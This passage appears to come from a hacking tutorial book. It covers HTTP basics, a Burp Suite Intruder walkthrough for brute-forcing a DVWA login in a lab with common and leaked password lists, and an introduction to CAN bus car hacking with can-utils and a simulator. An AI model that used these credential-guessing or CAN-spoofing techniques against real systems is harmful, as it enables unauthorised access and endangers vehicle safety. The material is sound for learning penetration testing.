- * 201 Created
- * **301 -** Moved Permanently
- * **302 -** Found

- * **304 -** Not Modified
- * 400 Bad Request
- * 401 Unauthorized
- * **403 -** Forbidden
- * **404 -** Not Found
- * 405 Method Not Allowed
- * **413** Request Entity Too Large
- * 414 Request URI Too Long
- * **500 -** Internal Server Error
- * **503 -** Service Unavailable

To see a complete list of all the response codes, see the list below.

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Informational Status Codes	Client Request Incomplete	Server Errors
$\begin{array}{llllllllllllllllllllllllllllllllllll$	400 - Bad Request [The server detected a syntax error in the client's request.] 401 - Unauthorized [The request requires user authentication. The server sends the WWW-Authenticate header to indicate the authentication type and realm for the requested resource.] 402 - Payment Required [reserved for future.]	500 — Internal Server Error [A serv configuration setting or an external program has caused an error.] 501 — Not Implemented [The server does not support the functionality required to fulfill the request]
Client Request Successful	403 - Forbidden [Access to the requested	502 - Bad Gateway [The server
200 - OK [Success! This is what you want.]	resource is forbidden. The request should not be repeated by the client.]	encountered an invalid response from an upstrea
201 - Created [Successfully created the URI specified by the client]	404 - Not Found [The requested document does	server or proxy.]
202 - Accepted [Accepted for processing but	not exist on the server.] 405 — Method Not Allowed [The request	503 - Service Unavailable [The servi is temporarily unavailable. The server can send
the server has not finished processing it.]	method used by the client is unacceptable. The server	Retry-After header to indicate when the service may become available again.]
203 - Non-Authoritative Information [Information in the response header did not originate	sends the Allow header stating what methods are acceptable to access the requested resource.]	
from this server. Copied from another server.]	406 - Not Acceptable [The requested resource is	504 - Gateway Time-Out [The gatew or proxy has timed out.]
204 - No Content [Request is complete without any information being sent back in the response.]	not available in a format that the client can accept, based on the accept headers received by the server. If the	
205 - Reset Content [Client should reset the	request was not a HEAD request, the server can send Content-Language, Content-Encoding and Content-Type	505 - HTTP Version Not Support The version of HTTP used by the client is not
current document. Ie. A form with existing values.]	headers to indicate which formats are available.]	supported.]
206 — Partial Content [Server has fulfilled the partial GET request for the resource. In response to a	407 - Proxy Authentication Required [Unauthorized access request to a proxy server. The client	
Range request from the client. Or if someone hits stop.]	must first authenticate itself with the proxy. The server sends the Proxy-Authenticate header indicating the	
Request Redirected	authentication scheme and realm for the requested resource.]	
	408 - Request Time-Out [The client has failed	
300 - Multiple Choices [Requested resource corresponds to a set of documents. Server sends	to complete its request within the request timeout period	
information about each one and a URL to request them from so that the client can choose.]	used by the server. However, the client can re-request.] 409 — Conflict [The client request conflicts with	
301 - Moved Permanently [Requested	another request. The server can add information about the	
resource does not exist on the server. A Location header is sent to the client to redirect it to the new URL	type of conflict along with the status code.]	
Client continues to use the new URL in future requests.]	410 - Gone [The requested resource is permanently gone from the server.]	
302 — Moved Temporarily (Requested	411 - Length Required [The client must supply	
resource has temporarily moved. A Location header is sent to the client to redirect it to the new URL Client	a Content-Length header in its request.)	
continues to use the old URL in future requests.]	412 - Precondition Failed [When a client sends a request with one or more If. headers, the server	
303 - See Other [The requested resource can be found in a different location indicated by the Location	uses this code to indicate that one or more of the interview of the second states and	
header, and the client should use the GET method to	413 - Request Entity Too Large [The server	
retrieve it.]	refuses to process the request because its message body is too large. The server can close connection to stop the	
304 — Not Modified [Used to respond to the If- Modified-Since request header. Indicates that the	client from continuing the request.]	
requested document has not been modified since the the specified date, and the client should use a cached copy.]	414 — Request-URI Too Long [The server refuses to process the request, because the specified URI	
305 - Use Proxy [The client should use a proxy,	is too long]	Unused status codes
specified by the Location header, to retrieve the URL.]	415 - Unsupported Media Type [The server	306- Switch Proxy
307 - Temporary Redirect [The requested resource has been temporarily redirected to a different	refuses to process the request, because it does not support the message body's format.]	416- Requested range not satisfial
location. A Location header is sent to redirect the client to the new URL. The client continues to use the old	417 - Expectation Failed [The server failed to meet the requirements of the Expect request-header.]	506- Redirection failed

HTTPS

The HTTP protocol is transmitted in plain TCP, which means it is unencrypted and susceptible to MitM attacks and other such attacks by an attacker positioned between the client and server. HTTPS is essentially the same as HTTP but instead is tunneled using Secure Sockets Layer (SSL). In this way, the confidentiality and integrity of the data are protected.

HTTP Proxies

An HTTP proxy is a server between the client's browser and the web server. When the client's browser is configured to use the HTTP proxy, all requests to the Internet must go first to the proxy. The proxy then forwards the request and receives the response before forwarding it to the

client. In this way, the HTTP proxy can provide access control, caching, authentication, and content filtering.



HTTP Authentication

The HTTP protocol has its own mechanisms for authenticating users. These include;

Basic: sends user credentials as Base64-encoded string in the request header

NTLM: challenge-response mechanism

Digest: challenge-response and uses MD5 checksums of a nonce with user's credentials



Hacking Web App Authentication with BurpSuite

Now that you have a basic understanding of web technologies, we can explore the myriad of ways to hack web applications. As you know, web applications are those apps that run the websites of everything from your next door neighbor's website, to the all-powerful financial institutions that run the world. Each of these applications is vulnerable to attack, but not all in the same way.



Burp Suite, by Port Swigger, is a versatile and powerful tool for web app pentesting. Besides web form authentication testing, it can also be used to test for session ID randomization, injection attacks, fuzzing, and numerous other attacks. Here we will be focusing on web app authentication, but you can find other uses of BurpSuite in Web App Hacking series on Hackers-Arise.

Here we will be using the Damn Vulnerable Web Application (DVWA) on our Metasploitable OS or the OWASP Broken Web App VM (https://sourceforge.net/projects/owaspbwa/).

Please note that password attacks will not work against all web forms. Often, the web application will lock you out after a number of failed attempts. Also, this attack is dependent upon having a good password list, as the application goes through every possible password looking for a match (with the exception of brute force password cracking, which is very time- and resource-consuming). With that caveat having been said, password-cracking web forms is a good place to start in hacking web authentication.

We will be using the free version of Burp Suite that is built into Kali. If you are not using Kali, you can download it <u>here</u>. This free version has some limited capabilities that work well for learning or in a lab, but for real-world hacking, you will probably want to buy the Pro version (\$399). In addition, make certain that your system is equipped with the JDK 11 or later. BurpSuite is a Java application and requires this version of the JDK to work properly.

Fire Up Kali and DVWA

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Let's start by firing up Kali and starting DVWA on another system or VM. Next, start Burp Suite. You will first be greeted by a screen like the one below. You can only create a "Temporary Project" in the Community Edition. Click **Next**.

		Burp Suite C	ommunity Edition	/2020.4	_ _ ×
?	Welcome to Burp Suite Community I Note: Disk-based projects are only s • Temporary project	COMMUNITY EDITION			
	New project on disk	Name: File:			Choose file
	Open existing project		Name	File	
		File:	🗹 Pause Automat	ed Tasks	Choose file Cancel Next

Next, select "Use Burp Defaults" and Click "Start Burp."

We then need to click on the **Proxy** tab...

Burp Suite Community Edition v20	120.4 - Temporary Project _ D X
Burp Project Intruder Repeater Window Help	
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender P	roject options User options
	Upprade to <u>Burp. Suite Professional</u> to automatically find vulnerabilities! Hide Issue activity (Pro version only) ⑦ x ²
Filter Running Paused Finished	
1. Live passive crawl from Proxy (all traffic)	Pliter High Medium Low Info Certain Firm Tentative P Search
Add links. Add item itself, same domain and URLs in suit 0 items added to site map	Issue type Host Path
O responses processed O responses queved	Suspicious input transformation (reflected) http://insecure-ubak /url-shorten SetTb hadser injection SetTb hadser SetTb hadser
	۰L او
Event log	Advisory
Pliter Critical Error (info Debug , Search	
Time v Type Source Message	
11:41:50 24 Jul 2020 Info Proxy Proxy service started on 127.0.0.1:8080	
@Anon@	hostNetwork
-	Memory, 64.7MB Disk: 32KB

...and enable the **Intercept**. This is the way that BurpSuite is capable of intercepting traffic to and from a server.

Burp Suite Community Edition v2020.4 - Temporary Project					
Burp Project Intruder Repeater Window Help					
Dashboard Target Provy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options					
ktercept HTTP history WebSockets history Options					
Ferward Drop Intercept is on Action	Comment this item 🛷 🕢				
Open a Web Browser

Now open your browser and set it up to use your proxy. In Mozilla's Firefox, go to **Preferences** - >Network Connections. There you will find the window like that below. Set it up to proxy your browser requests on 127.0.0.1 on port 8080.

	Connection Settings		
No prox <u>y</u> Auto-detect	y Access to the Internet proxy settings for this net <u>w</u> ork		
	roxy settings configuration		
HTTP Proxy		Port	8080
[Use this proxy server for all protocols		
SS <u>L</u> Proxy		P <u>o</u> rt	0
<u>F</u> TP Proxy		Po <u>r</u> t	0
SO <u>C</u> KS Host		Por <u>t</u>	0
(SOC <u>K</u> S v4 O SOCKS <u>v</u> 5		
<u>A</u> utomatic pr	@AnonGhostNetwork	R <u>€</u>	eload
vample: mozilla	.org, .net.nz, 192.168.1.0/24		
Help		ancel	ОК

Make certain to click OK in order for the browser to save your new settings.

Use your browser to navigate to the DVWA.

Once your target system is up and running, let's open your browser and navigate to the IP address of the Metasploitable system or the OWASP Broken Web Apps VM. On either system, navigate to the Damn Vulnerable Web App (DVWA).

When you get there, select DVWA, which will open a login screen like that below.

D	VWA	
Username		
OTW		
Password		
•••••		
	Login	

Here I have entered my username, OTW, and my password, HackersArise. You do not need to enter the correct credentials.

Intercept the Login Request @AnonGhostNetwork

Before sending the login credentials, make certain that the Burp Suite Proxy intercept is turned on and the proxy setting are set in your browser. Then, when you send the request, the proxy will catch the request, as seen in the screenshot below.

Burp Project Intruder Repeater Window Help	
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options	
Intercept HTTP history WebSockets history Options	
/ Request to http://192.168.42.15:80	
Forward Drop Intercept is on Action	Comment this item
Raw Params Headers Hex	
1 POST /dvws/togin.php HTTP/1.1 Host: 1902.168.42.15 3 User-Agent: Mozilla/S.0 (X1): Linux x86_64; rv:68.0) Gecks/20100101 Firefox/68.0 4 Accept: text/intl.application/xhtml+xml.application/xml;q=0.9.*/*;q=0.8 5 Accept-Language: en-US;en;q=0.5 6 Accept-Encoding: gzip:_deflate 7 Referer: http://192.168.42.15/dvws/togin.php 8 Content-Type: application/x-vw-form-urlencoded 9 Content-Length: 45 10 Connection: close 11 Cookie: security=low; PHPSESSID=9vovcgv5redvtcdogl<2a3q911; acopendivids=svingset.jotto,phpbb2,redmine: acgroupsvithpersist=nada 12 Upgrade=Insecure=Requests: 1 13 14 username=0TWSpassword=hackerarise6Login=Login	

Notice that my username and password are in the last line of the login request.

Send the Request to Burp Suite Intruder

Next, we need to send this request to the Burp Suite Intruder. Right-click on this screen and select "Send to Intruder," as seen below.

Request to http://192.168.42.15:80 Forward Drop Intercept is on Action	
Raw Params Headers Hex	
<pre>trains [roducts fix] IPOST /dvw/login.php HTTP/1.1 Host: 192.168.42.15 User-Agent: Mozilla/5.0 (Xll; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0 Accept-text/htal.application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-tencoding: grip. deflate Referer: http://192.168.42.15/dvva/login.php Content-type: application/x-www-form-urlencoded Content-tuength: 45 Connection: close Context-Isecurity=low: PHPSESSID=9vovcgvSredvtcdoglc2a8q9ll; acopendivids=swingset.jotto.p Upgrade-Insecure-Requests: 1 username=OTW&password=hackerarise&Login=Login </pre>	Scan Send to Intruder Ctrl+1 Send to Sequencer Send to Sequencer Send to Sequencer Send to Decoder Request in browser Change request method Change body encoding Copy URL Copy as curl command Copy to file Paste from file Save item Don't intercept requests Do intercept
	Convert selection URL-encode as you type
	Cut Ctrl+X

This will open the BurpSuite Intruder. On the very first screen, Intruder will display the IP address of the target. It has gathered this information from the intercepted request. If it is wrong, change it here. Also, note that it assumes you are using port 80. Once again, if you're attempting authentication on another port or service, change it here, but BurpSuite usually gets it right.

Burp Suite Community Edition v20	020.4 - Temporary Project
Burp Project Intruder Repeater Window Help	
Dashboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender P	Project options User options
Target Positions Payloads Options	
Attack Target Configure the details of the target for the attack. Host: 192.168.42.15 Port: 80 Use HTTPS	

Next, click on the "Positions" tab. It will highlight the fields that it believes it needs to use in cracking this authentication form.

Burp Suite Community Edition v2020.4 - Temporary Project	- 0
i Project Intruder Repeater Window Help	
shboard Target Proxy Intruder Repeater Sequencer Decoder Comparer Extender Project options User aptions	
× 2 × i	
get Positions Payloads Options	
Payload Positions	Start attac
Configure the positions where payloads will be inserted into the base request. The attack type determines the way in which payloads are assigned to payload positions - see help	
compute the positions where payoads will be inserved into the base request. The attack type determines the way in which payoads are assigned to payload positions - see neg	for foil details.
Attack type: Sniper	×
1 POST /dvva/login.php HTTP/1.1	Add 5
2 Host: 192.168.42.15 User-Agent: Mbzilla/5.0 (X11: Linux x86.64: rv:68.0) Geck0/20100101 Firefox/68.0	
<pre>4 Accept: text/html.application/xhtml-xml_application/xml;q=0.9,*/*;q=0.8</pre>	Clears
5 Accept-Language: en-US,en:e=0.5 6 Accept-Lencoding: gzip, deflate	Auto 5
o Acceptencoangi gap, certate	
8 Content-Type: application/s-www-form-urlencoded	Refresh
9 Content-Length: 45 10 Contection: close	
10 Coshier security-\$low\$; PMPSESSID-\$9vovcqv5redvtcdoqlc2a3q\$115; acopendivids-\$svingset.jotto.phpbb2.redmine\$; acgroupsvithpersist=\$nada\$	
12 Upgrade-Insecure-Requests: 1	
13	
14 username=SOTWS4password=ShackerariseS4Login=SLoginS	

Since we want to set the positions manually, click the "Clear" button to the far right.

In this attempt, we will be trying to crack OTW's password. This assumes we know the user's username and only need the password (to acquire usernames from WordPress sites, <u>wpscan</u> is excellent for extracting usernames).

Here we will highlight the one field you want to attempt to crack, namely the password, and click on the Add button to the right @AnonGhostNetwork



Set Attack Type

Now, we need to set the attack type. There are four types of attacks in BurpSuite Intruder:

1. Sniper

A single set of payloads. It targets each payload and places each payload into each position.

2. Cluster Bomb

Multiple payload sets. There are different payload sets for each position.

3. Pitch Fork

Multiple payload sets. There are different payload sets for each position. It iterates through each payload set simultaneously.

4. Battering Ram

A single set of payloads. It uses a single payload set and runs it through each position.

For a more detailed explanation of the differences in these payloads, see the Burp Suite documentation.

The BurpSuite Intruder defaults to "Sniper," so let's leave it as Sniper for this attack.

Set the Payloads

Now, we need to set the payload we designated. These are the fields that Intruder will be attacking. Select **Payload Set** #1 and enter some common passwords that nearly every system has, such as "admin," "guest," "systemadmin," "sys," "root," "password," etc.

Burp Project Intruder Repeater Window Help	
Dashboard Target Provy Intruder Repeater Sequencer Decoder Comparer Extender Project options User options	
Target Positions Payloads Options	
Targett Bestions Payload Sets You Can define one or more paylo each payload Spire can be custom Look (n:) Payload set: Image: Simple list Payload type: Simple list Payload options (Simple I) Image: Simple list Payload dype lets you configure Public Paste admin Image: Simple list Public Image: Simple list Image: Simple list Image: Simple list Public Image: Simple list Image: Simple list Image: Simple list Image: Simage: Simple list	X Start attack A set and
You can define rules to perform V	
Add Enabled Rule All Files	
Edit Open Cancel	0
Remove	_

In addition, let's select the top10000_passwords.txt from Hackers-Arise (www.hackersarise/password-lists). These are the 10,000 most common passwords from dark web dumps over the last few years. It's always a good idea to use common passwords on your first attempt to crack passwords in these forms.

Next, we need to click on the "Start Attack" button in the upper right corner.

× 2 ×										
rget Positions	Payloads	Options							 	
Payload Se	ts				l	Intruderat	tack1		_ = ×	Start attack
You can define each payload t	e one or more p type can be cus	Attack Save		Y					ad set, and	
Payload set	1		arget Positions	Payloads 0	ptions				0	
Payload type:		Filter: Showi								
	_	Request A	ayload	Stati 302			eout Leng 558	h Comment		
	o <mark>tions [Simp</mark> ype lets you cor	3 4	idmin oot iysadmin	302 302 302 302	1		558 558			
Paste	admin root	6 7	23456 23456789 111111 assword	302 302 302 302			558 558 558 558 558 558 558 558 558 558			
Remove	sysadmin 123456 123456789	10 11	werty bc123 2345678 assword1	302 302 302 302	1		558 558 558 558			
Clear	111111 password qwerty ahr123	13 14 15	234567 23123 234567890	302 302 302	1		558 558 558			
Add	Enter a new ide	17	2345	302 302			558 558			
Add from list	(Pro version	18	loveyou	302			558			
Payload Pr	ocessing rules to perfor						_			
Add	Enabled Ru									
Edit		18 of 10004								

This will start BurpSuite to attempt to login into your DVWA, iterating through each password on your list. Note in the screenshot above that both the status (302) and the length (558) are identical for each attempt. What we are looking for is an attempt where the status and length are different than the others that would indicate a successful login.

Cluster Bomb Technique

In this technique, we will assume that **both** the username and the password are unknown to us. We will need to use two payloads; one the username and one the password. We will **Add** both the username field and the password field as payloads. We will also set the attack type to "**Cluster Bomb**."



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With this type of attack, BurpSuite will try a variety of combinations of your list in **both** the username and password fields. This is a more complex and time-consuming attack, but necessary if you don't know the username.

Next, let's click on the Payloads tab. Select **Payload set** 2, and from the **Payload type** pulldown window, select **Character Substitution**.

Farget Posit	ons Payloads	Options			
Payload You can de each paylo		payload sets. istomized in d	The number of paylo ifferent ways.	aad sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and	Start attack
Payload se Payload ty:		ubstitution	Payload count: 0 Request count: 0		
This paylo	Runtime file Custom iter- Case modifi Recursive gu Illegal Unico Character bi	ator ubstitution cation rep de	3 9>6	various character substitutions to each item.	
Case s Items Paste Load Remove	ensitive match		1	•	
Add Add from	Enter a new i		Y		

With Character Substitution selected, BurpSuite will "munge" your password list, replacing typical letter/number substitutions (users are taught to change letters into numbers to prevent dictionary attacks). As you can see below, the default character substitution is; a=4, b=8, e=3, and so on. This is the typical substitution that users employ and should work in most cases, but you can customize or add other letter substitutions here.

?	Payload Opt This payload ty							ind apply various character substitutions to each item.
	Character subs	titutio	ns					
	a > 4	b	> 8	е	> 3		g	> 6
	i > 1	o	> 0	s	> 5	[t	> 7
	z > 2		>		>	[>
	>		>		>	[>
	📃 Case sensit	ive m	atch					
	Items							

Now, add your password list just like the previous attack by clicking on the **Load** button to the left of the **Items** window. Note that instead of just 10,000 requests as in the previous attempt, now our attempts have grown to over 2 billion! This is because each word will be attempted as a username, and then each word will be attempted as a password. In addition, this method will create additional passwords and usernames by using the character substitution we enabled above.

arget Position	ns Payleads Options
each payload Payload set	Ine one or more payload sets. The number of payload sets depends on the attack type defined in the Positions tab. Various payload types are available for each payload set, and d type can be customized in different ways.
	<mark>Options [Character substitution]</mark> d type lets you configure a list of strings and apply various character substitutions to each item.
Character su	
z > 2 >	
Case sen	123456
Load	2 12345789 11111 password querty
Clear	querty bl23 bl23 passwerdi 1234567 mail
	Enter a new item

In the final step, click "**Start Attack**." Since we will be attempting 2 billion username and password combinations, this will be a tedious and time-consuming task. Here is where the unthrottled BurpSuite Pro proves its value!

Results	Target Positions	Payloads Options					
Filter: Sho	wing all items						
Request 🔺	Payload1	Payload2	Status	Error	Timeout	Length	Comment
0			302			558	
1	123456	123456	302			558	
2	123456789	123456	C 302			558 🧲	3
3	111111	123456	302			558	
4	password	123456	302			558	
5	p4ssword	123456	302			558	
6	pa5sword	123456	302			558	
7	p45sword	123456	302			558	
8	pas5word	123456	302			558	
9	p4s5word	123456	302			558	
10	pa55word	123456	302			558	
11	p455word	123456	302			558	
12	passw0rd	123456	302			558	
13	p4ssw0rd	123456	302			558	
14	pa5sw0rd	123456	302			558	
15	p45sw0rd	123456	302			558	
16	pas5w0rd	123456	302			558	
17	p4s5w0rd	123456	302			558	
18	pa55w0rd	123456	302			558	
19	p455w0rd	123456	302			558	
20	qwerty	123456	302			558	
21	qw3rty	123456	302			558	
22	qwer7y	123456	302			558	
23	qw3r7y	123456	302			558	
24	abc123	123456	302			558	
25	4bc123	123456	302			558	
36	\$8/172	123456	303	0		558	,

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As you can see above, BurpSuite attempts each word in our list as a username and then tries every word in our list as a password.

Like in the attack above, we are looking for anomalies in the status and length fields. These will often indicate a Successful Login.

Reading the Results

Here it's important to note a few things. First, the status column. Note that all the requests in the screenshot are "302" or "found." Also, note that the length of the responses is all uniform (558).

That uniform length message would be the uniform **bad request** response. When a response is of a different length and a different code (200), it will warrant further investigation, as it is likely to have the correct username and password. You can find these anomalies by clicking on the **Status** header or the **Length** header and sorting the results by these two fields rather than manually searching through all 2 billion responses.

The BurpSuite is an excellent and versatile tool that every web app pentester/hacker should be conversant in. Here, we used it to crack web app logins using the simple and quick sniper attack against a known username and unknown password and then the more time-consuming cluster bomb attack with character substitution against an unknown username and password combination.

Summary

Web technologies are critical to understanding the vulnerabilities of web-based applications. Tools such as the BurpProxy, enable us to "catch," examine, and manipulate this traffic in order to exploit these vulnerabilities.

Chapter 13 Automobile Networks

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Automobile hacking is one of the leading-edge areas of our hacking discipline. As our automobiles have become smarter and smarter, they include more and more electronics, making them more and more vulnerable. As we are literally and figuratively turning the corner into the era of the driverless or autonomous car, hacking automobiles will become even more important and dangerous.

In this series, we will examine the basics of automobile hacking and advance to more complex hacking strategies. For an example of a rather simple automobile hacking, check out my article on hacking the <u>Mitsubishi Outlander</u>.

Before we can delve into automobile hacking, we need to first understand the basics. Kind of like understanding TCP/IP before network hacking or <u>modbus</u> before SCADA hacking. Automobile electronics use several different protocols to communicate between multiple micro-controllers, sensors, gauges, actuators, etc. The most widely used of these protocols is the **Controller Area Network** or **CAN**.

The CAN Protocol

CAN was first developed by Robert Bosch GmbH, the German industrial giant known for its automotive electronics. It was first released at the Society of Automotive Engineers (SAE) meeting in 1986. The CAN protocol has been standardized as ISO 11898-1 and ISO 11898-2. It was designed for robust communication within the vehicle between microcontrollers and devices without the need for a host computer.

CAN operates as a broadcast type of network, similar to a broadcast packet in Ethernet or using a hub in the old days of networking (1980 through the 90s). Every node on the network can "see" every transmission. Unlike Ethernet or TCP/IP (but similar to Modbus in SCADA systems), you can not send a message to a single node, but the CAN does provide for local filtering so that each node only acts upon messages pertinent to its operation. You can think of this as "content messaging," where the contents determine the target node.

CAN runs over two wires, CAN high and CAN low. Due to the "noise" inherent in automobile systems, CAN uses differential signaling. This is where the protocol raises and lowers the voltage on the two wires to communicate. In both high-speed and low-speed CAN, signaling drives the high wire towards 5v and the low wire towards 0v when transmitting a zero (0) but doesn't drive either wire when sending a one (1).



CAN Message Types

CAN uses four (4) different types of messages;

- 1. Data Frame
- 2. Remote Frame
- 3. Error Frame
- 4. Overload Frame

Data Frame

This is the only frame actually used for data transmission. In most cases, the data source node sends the data frame.

It has two types, standard and extended. The standard has 11 identifier bits, and the extended has 29 bits. The CAN standard requires that the base data frame MUST be accepted and the extended frame MUST be TOLERATED; in other words, it will not break the protocol or transmission.

Remote Frame

The remote frame is used when the data destination node requests the data from the source.

Error Frame

The error frame has two different fields, the first is given by the ERROR FLAGS and contributed by the different stations, and the second is the ERROR DELIMITER, simply indicating the end of the error message

Overload Frame

The overload frame has two fields. These are the Overload Flag and the Overload Delimiter. The overload frame is triggered when either by the internal conditions of a receiver or the detection of the dominant bit (0) during transmission.

The On-Board Diagnostics (OBD)-II Connector

Most vehicles now come with an ODB-II connector. If you have taken your car to a shop for repair, it is this connector under the dashboard where the mechanic connects their computer to get a read on the onboard computers.



The OBD-II has 16 pins and looks like the diagram below.

CLK W209 OBDII Pinout By Micro



PIN #	Function	PIN #	Function
1	ECU	9	ABS / ASR / EBP / ETS / BAS / ESP Electronic Shift Lever Detector
2		10	
3	TNA (Engine RPM Signal)	11	Electronic Transmission Control (ETC) Transmission 722.6
4	Chassis GND	12	All Activity Modules (AAM) EAM / Transfer Case
5	Signal GND	13	Airbag / ETR / SRS / Seatbelt Audio / NAV / CDC / Teleaid
6	CAN BUS High (12284)	14	CAN BUS Low (J2284)
7	ISO 9141-2 K line ECU / Motor Electronics (ME)	15	ISO 9142-2 L line Instrument cluster / Lamps / Immobilizer
8	+12V Acc. Ignition, Circuit 15, Fuse 22	16	+12V Dir. Battery Power, Circuit 30, Fuse 13

As hackers/attackers, we can also connect to this OBD-II connector and send messages on the CAN network to various devices.

CAN Bus Packet Layout

There are two types of CAN packets, standard and extended. The extended packets share the same elements as the standard packet, but the extended packets have additional space to include IDs.

Standard Packets

Every CAN packet has four critical sections. These are;

Arbitration ID

The arbitration ID is the ID of the device sending the packet.

Identifier Extension

This bit is always 0 for standard CAN

Data Length Code (DLC)

This indicates the size of the data, from 0 to 8 bytes

Data

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This is the data in the message. As mentioned above, it can be up to 8 bytes.

As mentioned above, all CAN packets are broadcast, so every device or controller can see every packet. There is no way for any device to know which controller sent the packet (no return address), so spoofing messages on a CAN network is trivial. This is one of the key weaknesses of CAN.

CAN-ID: 07Fh								
S O Base F	9 ID	R I T D R						
000011	1 1 1 1 1	0 0						
CAN-ID: 01FC 000	D _n							
S O Base F	9 ID	S I R D R		Exten	ded IC	,		R T R
000011	1 1 1 1 1	1 1	0 0 0			0	0	0
CAN-ID: 0000 007	- h							
S O Base ID F	S I R D R E		Extende	d ID				R T R
0 0 0 0 0	1 1 0 0	0 0	0 0 0	1 1	1 1	1 1	1	0

Extended CAN Packets

Extended CAN packets are the same as standard CAN packets, but they are chained together to create longer IDs. Extended CAN is backwardly compatible with standard CAN. This means that if a sensor was not designed to accept extended CAN packets, this system wouldn't break.

Security

Due to CAN being a low-level protocol, it does not have any security features built in. It has NO encryption or authentication by default. This can lead to man-in-the-middle (MitM) attacks (no encryption) and spoofing attacks (no authentication). Manufacturers, in some cases, have implemented authentication mechanisms on mission-critical systems, such as modifying software and controlling brakes, but all manufacturers have not implemented them. Even in the cases where passwords have been implemented, they are relatively easy to crack.

CAN-Utils or SocketCAN

Now that we laid out the basics of the most common protocol used in automobiles, <u>the Controller</u> <u>Area Network or CAN</u>, we can now proceed to install the **can-utils**. can-utils is a Linux-specific set of utilities that enables Linux to communicate with the CAN network on the vehicle. In this way, we can sniff, spoof, and create our own CAN packets to pwn the vehicle!



What are the can-utils?

CAN is a message-based network protocol designed for vehicles. Originally created by Robert Bosch GmbH, the same folks who developed the CAN protocol. In addition, SocketCAN is a set of open-source CAN drivers and a networking stack contributed by Volkswagen Research to the Linux kernel.

Installing the can-utils

If you are using the Kali or other Debian-based repositories, you can download and install **can-utils** with **apt-get**.

kali > sudo apt install can-utils

```
root@kali:~# apt-get install can-utils
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer require
d:
    finger libadns1 libpython-all-dev lua-lpeg python-adns python-all
    python-all-dev python-bson python-easygui python-elixir
    python-gridfs python-levenshtein python-metaconfig python-pip
    python-pip-whl python-pymongo python-pymongo-ext python-grcode
    python-wheel rwho rwhod u3-tool
```

If you are not using the Kali repository or any repository without can-utils, you can always download the can-utils from github.com using the **git clone** command.

kali > git clone https://github.com/linux-can/can-utils

The Basics of the can-utils

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The CAN utilities are tools to work with CAN communications within the vehicle from the Linux operating system. These tools can be divided into several functional groups;

- 1. Basic tools to display, record, generate and play can traffic
- 2. CAN access via IP sockets
- 3. CAN in-kernel gateway configuration
- 4. Can Bus measurement
- 5. ISO-TP tools
- 6. Log file converters
- 7. Serial line discipline (slc) configuration

Initially, we will concern ourselves with just the basic tools and the log file converters.

For a complete list of the tools in can-utils and their functionality, see the table below.

1. Basic tools to display, record, generate and replay CAN traffic

- candump : display, filter and log CAN data to files
- **canplayer** : replay CAN logfiles
- **cansend** : send a single frame
- **cangen** : generate (random) CAN traffic
- **cansniffer** : display CAN data content differences (just 11bit CAN IDs)

2. CAN access via IP sockets

- **canlogserver** : log CAN frames from a remote/local host
- **bcmserver** : interactive BCM configuration (remote/local)
- socketcand : use RAW/BCM/ISO-TP sockets via TCP/IP sockets

3. CAN in-kernel gateway configuration

• **cangw** : CAN gateway userpace tool for netlink configuration

4. CAN bus measurement and testing

- canbusload : calculate and display the CAN busload
- **can-calc-bit-timing** : userspace version of in-kernel bitrate calculation
- **canfdtest** : Full-duplex test program (DUT and host part)

5. ISO-TP tools ISO15765-2:2016 for Linux

- **isotpsend** : send a single ISO-TP PDU
- **isotprecv** : receive ISO-TP PDU(s)
- **isotpsniffer** : 'wiretap' ISO-TP PDU(s)
- **isotpdump** : 'wiretap' and interpret CAN messages (CAN RAW)
- isotpserver : IP server for simple TCP/IP <-> ISO 15765-2 bridging (ASCII HEX)
- **isotpperf** : ISO15765-2 protocol performance visualisation •
- isotptun : create a bi-directional IP tunnel on CAN via ISO-TP

6. Log file converters

- **asc2log** : convert ASC logfile to compact CAN frame logfile
- log2asc : convert compact CAN frame logfile to ASC logfile
- log2long : convert compact CAN frame representation into user readable

7. Serial Line Discipline configuration (for slcan driver)

• slcan attach : userspace tool for serial line CAN interface configuration

- slcand : daemon for serial line CAN interface configuration
- slcanpty : creates a pty for applications using the slcan ASCII protocol

Setting Up a Virtual CAN network

In this section, we will be connecting to the CAN network in your vehicle with various hardware devices. These are relatively inexpensive (\$10-20), and I highly recommend you purchase one if you want to master automobile hacking. If you can't or won't purchase one of these hardware devices, you can always set up a virtual CAN network.

To set up a virtual CAN network;

first, load the vcan (virtual CAN) module;

kali > modprobe vcan

Then, set up your virtual interface;

kali > ip link add dev can0 type vcan

kali > ip link set up vcan0

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```
root@kali:~# modprobe vcan
root@kali:~# ip link add dev vcan0 type vcan
root@kali:~# ip link set up vcan0
```

Once we have set up our virtual CAN connection (vcan0), we can test to see whether it is up by using the **ifconfig** command, like we would with any other interface in Linux.

kali > ifconfig vcan0

Now, we are ready to begin work with CAN communications. We only need now to connect our Linux operating system to the vehicle. There are numerous devices, means, and connection types to do so. We will look at a few of these in my next article in this series, so keep coming back.

Automobile hacking is the cutting edge of the hacking discipline!

Automobile and other vehicle hacking could have dramatic effects on society as we know it. Imagine a cyber war scenario where the opposing generals employ hackers to commandeer the adversary's tanks, jeeps, and other vehicles. Or, a bit more mundane, imagine a world where hackers can open, start and control your vehicle!

CAN Simulation

In previous sections, we have examined the basics of the CAN protocol and then the can-utils.

In this section, we will set up a simulation environment where you can use some of this knowledge to analyze and hack a simulated vehicle.



This CAN-Bus simulator was developed by Craig Smith at Open Garages and the author of The Car Hackers Handbook by No Starch Press.

Install Dependencies

The first step is to install the necessary dependencies into your Kali system.

```
kali > apt-get install libsdl2-dev libsdl2-image-dev -y
```

```
root@kali-2019:~# apt-get install libsdl2-dev libsdl2-image-dev -y
Reading package lists... Done
Building dependency tree
Reading state information... Done
```

Install Can Utils

The next step is to install the CAN utils. These are a set of Linux-native utilities developed by Bosch of Germany. If you followed my second tutorial in the series, you have likely already installed these utilities. If not, you can do so now by downloading and installing them from the Kali repository.

root@kali-2019:~# apt-get install can-utils -y Reading package lists... Done Building dependency tree Reading state information... Done

Download ICSim

